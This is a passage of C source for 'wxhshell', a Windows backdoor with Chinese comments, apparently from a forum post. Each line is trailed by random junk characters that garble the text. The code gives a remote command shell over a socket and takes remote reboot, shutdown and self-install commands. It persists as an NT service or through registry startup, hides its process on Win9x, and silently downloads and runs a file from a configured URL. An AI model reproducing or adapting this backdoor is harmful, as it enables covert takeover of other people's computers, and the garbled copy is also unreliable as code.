  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G&0&*mp  
  } pco~Z{n  
  else { q+x4Od3  
Y)N(uv6  
    switch(cmd[0]) { yrdJX  
  ,cWO Ak  
  // 帮助 F4k<YU  
  case '?': { w eT33O"!1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HyiuU`  
    break; VD,F?L!  
  } &"._%S58V  
  // 安装 yH|ucN~k5S  
  case 'i': { T73oW/.0X?  
    if(Install()) ZF51|b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .lb2`!'r&  
    else f/Grem  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NO +j    
    break; Uey.@2Q  
    } W:3u$LTf*f  
  // 卸载 b5_A*-s$M  
  case 'r': { 4adCMfP7.  
    if(Uninstall()) *wwLhweQ5W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?f1%)]>   
    else 022YuqL<v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gu/eC  
    break; bS&'oWy*B  
    } N(dn"`8  
  // 显示 wxhshell 所在路径 blid* @-  
  case 'p': { $ &qB,>5=X  
    char svExeFile[MAX_PATH]; 1i_~ZzX8  
    strcpy(svExeFile,"\n\r"); N$/{f2iC  
      strcat(svExeFile,ExeFile); A%"XNk  
        send(wsh,svExeFile,strlen(svExeFile),0); KA`1IW;  
    break; 8doT`rI1  
    } :GIY"l'  
  // 重启 6NO=NL  
  case 'b': { 7WiVor$g-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6](vnS;  
    if(Boot(REBOOT)) RoxzCFsI\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3hmuF6y~  
    else { q+~z# jFX  
    closesocket(wsh); FMwT4]y  
    ExitThread(0); &m5WmEz>`  
    } ]RPv@z:V  
    break; +; C|5y  
    } E;$t|~ #  
  // 关机 Ufq"_^4  
  case 'd': { Wv77ef  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9K#.0  
    if(Boot(SHUTDOWN)) )FMpfC>An  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3a:(\:?z  
    else { [=Np.:Y%  
    closesocket(wsh); ({m["d  
    ExitThread(0); b/"gkFe#  
    } u,PrEmy-  
    break; 6aM`qz)  
    } lDe9EJR  
  // 获取shell 2N5 N^S  
  case 's': { *Sz`=U7n  
    CmdShell(wsh); "3Dvc7V  
    closesocket(wsh); j6/ 3p|E  
    ExitThread(0); k5w+{iOh  
    break; ? Q.Y  
  } 8<^[xe  
  // 退出 zO2<Igb  
  case 'x': { %p/Qz|W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bsr  
    CloseIt(wsh); r4J4|&ym  
    break; #E^%h  
    } pP{b!1  
  // 离开 e:AB!k^xp$  
  case 'q': { >7vSN<w~m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -hQ=0h~\B.  
    closesocket(wsh); 7vNS@[8  
    WSACleanup(); =WyAOgy}  
    exit(1); OA%.>^yb@  
    break; :lgIu .  
        } T>g1! -^  
  } :7W5R  
  } s<E_74q1  
I}n"6'*  
  // 提示信息 b7aAP*$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /P^@dL  
} q<oA%yR  
  } </bWFW~x  
~ZG>n{Q   
  return; 6jCg7Su]  
} ;NRm ,  
ovm*,La)g  
// shell模块句柄 |1J "r.K  
int CmdShell(SOCKET sock) d>@{!c-  
{ m1\>v?=K  
STARTUPINFO si; T1n GBl\(  
ZeroMemory(&si,sizeof(si)); *fSa8CV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }9Y='+.%^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dam.D.o"  
PROCESS_INFORMATION ProcessInfo; U!3nn#!yE  
char cmdline[]="cmd"; 6XFO@c}d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [<wy @W  
  return 0; /PPk p9H{  
} #kLM=a/_NO  
g0g/<Tv[  
// 自身启动模式 d`({z]W;  
int StartFromService(void) *'d5~dz=  
{ IdzF<>;W  
typedef struct %m+Z rH(  
{ +=\S"e[F  
  DWORD ExitStatus; j|lg&kN  
  DWORD PebBaseAddress; eC[g"Ef  
  DWORD AffinityMask; o|^0DYb  
  DWORD BasePriority; '? yZ,t  
  ULONG UniqueProcessId; }!n<L:njX  
  ULONG InheritedFromUniqueProcessId; #n2GW^x  
}   PROCESS_BASIC_INFORMATION; G|3OB:  
rQKBT]?y  
PROCNTQSIP NtQueryInformationProcess; Bw{@YDO{  
9 *]Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >f`}CLsY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; am:LLk-Lx  
(c(?s`;  
  HANDLE             hProcess; Kh$L~4l  
  PROCESS_BASIC_INFORMATION pbi; -BEPpwb<g  
QfcW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gMHH3^\VH)  
  if(NULL == hInst ) return 0; 3vrQY9H>  
eRVu/TY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pKr3(5~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JXPn <  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @ o;m!CYB  
IgN,]y  
  if (!NtQueryInformationProcess) return 0; e m>CSBx  
Yd/qcC(&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {W `/KU?u  
  if(!hProcess) return 0; X 8[T*L.  
u6(7#n02  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z>CFH9  
oL VtP  
  CloseHandle(hProcess); azE>uEsE  
&<tji8Dj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zQ)[re)  
if(hProcess==NULL) return 0; {K[+nX =#  
8d Ftp3(  
HMODULE hMod; 2{U4wTu  
char procName[255]; N3x}YHFF  
unsigned long cbNeeded; W_iP/xL  
>"`:w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]^ RgzK  
3FX` dZ  
  CloseHandle(hProcess); N>]u;HjH  
q!O~*   
if(strstr(procName,"services")) return 1; // 以服务启动 V!ajD!00  
WZFV8'  
  return 0; // 注册表启动 fl)Oto7  
} \>YXPMIk  
ke&c<3m  
// 主模块 Gi{1u}-0  
int StartWxhshell(LPSTR lpCmdLine) J+.t \R  
{ hp>me*vzr  
  SOCKET wsl; a,}{f]  
BOOL val=TRUE; `bH Eu"(,  
  int port=0; uQ8]j.0  
  struct sockaddr_in door; :+-s7'!4  
JVXBm]  
  if(wscfg.ws_autoins) Install(); jkD5Z`D  
\!w7 N :m  
port=atoi(lpCmdLine); WX?|iw I~  
qa%g'sB-b  
if(port<=0) port=wscfg.ws_port; 2V~Yb1P  
%mxG;w$  
  WSADATA data; $}HSU>,%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W?6RUyMC$T  
+x4o#N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $6Ty~.RP5H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7L]fCw p[  
  door.sin_family = AF_INET; bgEUG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y-Z*qR?  
  door.sin_port = htons(port); M4DRG%21  
L[O+9Yh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~Q6ufTGhpM  
closesocket(wsl); C w$y  
return 1; K-#Rm%J+Wy  
} P@*whjPmo  
T1e}WJbFE  
  if(listen(wsl,2) == INVALID_SOCKET) { DrB=   
closesocket(wsl); 5gEUE{S  
return 1; !hJKI.XH  
} ,:;_j<g`e  
  Wxhshell(wsl); V qYe0-^=P  
  WSACleanup(); cdEZ Y  
q@^=im  
return 0; e|{6^g<ru  
Xw![}L >  
} 7H./o Vl  
hd^?svID  
// 以NT服务方式启动 xkqt(ng(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z7%>O:@z  
{ `aSz"4Wd  
DWORD   status = 0; Ag?@fuk$J  
  DWORD   specificError = 0xfffffff; y~W6DL}  
-4V1s;QUZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _A%z^&k(i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %q:V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |yqx ]  
  serviceStatus.dwWin32ExitCode     = 0; %Rg84tz  
  serviceStatus.dwServiceSpecificExitCode = 0;  ,?`$ ~8  
  serviceStatus.dwCheckPoint       = 0; _#-(XQa  
  serviceStatus.dwWaitHint       = 0; ?)JW}3<.  
2^Y1S?g.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'rz*mR8  
  if (hServiceStatusHandle==0) return; O'j;"l~H|  
@AWKEo<7.I  
status = GetLastError(); n:;2Z  
  if (status!=NO_ERROR) ZT|E1[Q  
{ 0p~:fm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #V~r@,  
    serviceStatus.dwCheckPoint       = 0; bup;4~g  
    serviceStatus.dwWaitHint       = 0; *S<>_R 8  
    serviceStatus.dwWin32ExitCode     = status; c%v%U &  
    serviceStatus.dwServiceSpecificExitCode = specificError; /Nxy?g|,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s V{[~U,|  
    return; !d"J,.)  
  } 9ft7  
,.F,]m=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uTn(fs) D  
  serviceStatus.dwCheckPoint       = 0; 'n.ATV,  
  serviceStatus.dwWaitHint       = 0; pU}>}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O </<  
} K uFDkT!  
e;[/ytz"d'  
// 处理NT服务事件,比如:启动、停止 44b'40  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +[D=2&tmk  
{ /FB'  
switch(fdwControl) w~1K93/p!  
{ LN_6>u  
case SERVICE_CONTROL_STOP: dD!} P$  
  serviceStatus.dwWin32ExitCode = 0; |\elM[G"g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wUl}x)xo  
  serviceStatus.dwCheckPoint   = 0; 9jJ&QACn  
  serviceStatus.dwWaitHint     = 0; DJ=miJI'  
  { HO$s&}t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 191O(H  
  } 3hb1^HNT  
  return; k>2 xm  
case SERVICE_CONTROL_PAUSE: w^P4_Yr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $|sRj!F  
  break; "-N%`UA  
case SERVICE_CONTROL_CONTINUE: 'w!Hjq]$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O/0m|~`iY  
  break; g$$uf[A-SL  
case SERVICE_CONTROL_INTERROGATE: 4Mnne'7  
  break; J]Uki*s  
}; '{Iv?gh"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rl$NiY?2  
} ud! iy  
y%3Yr?]  
// 标准应用程序主函数 [@.%6aD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qhiQ!fMQ  
{ Gu&zplB  
{3`9A7bG  
// 获取操作系统版本 \e( h6,@  
OsIsNt=GetOsVer(); +&Sf$t 1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?%;)> :3N  
!^B`7  
  // 从命令行安装 .4.zy]I  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6 {5*9!v63  
Rs5G5W@"A  
  // 下载执行文件 nj #Ab  
if(wscfg.ws_downexe) { &!m;s_gi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2h u;N  
  WinExec(wscfg.ws_filenam,SW_HIDE); Nluy]h &  
} 6g( 2O[n.  
;^t<LhN:  
if(!OsIsNt) { U%j=)VD ])  
// 如果时win9x,隐藏进程并且设置为注册表启动 O"_FfwO a  
HideProc(); *H:;pI WP  
StartWxhshell(lpCmdLine); \ $z.x-U  
} 3Pkzzyk_|D  
else IjJ3./L!5  
  if(StartFromService()) t$R|lv5<  
  // 以服务方式启动 wnha c}  
  StartServiceCtrlDispatcher(DispatchTable); w^z}!/"]u  
else #OH# &{H  
  // 普通方式启动 b pExYyt  
  StartWxhshell(lpCmdLine); wrw~J  
Rq9v+Xq2  
return 0; j9%=8Dn.<  
}
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只看该作者 1 发表于: 2006-10-10
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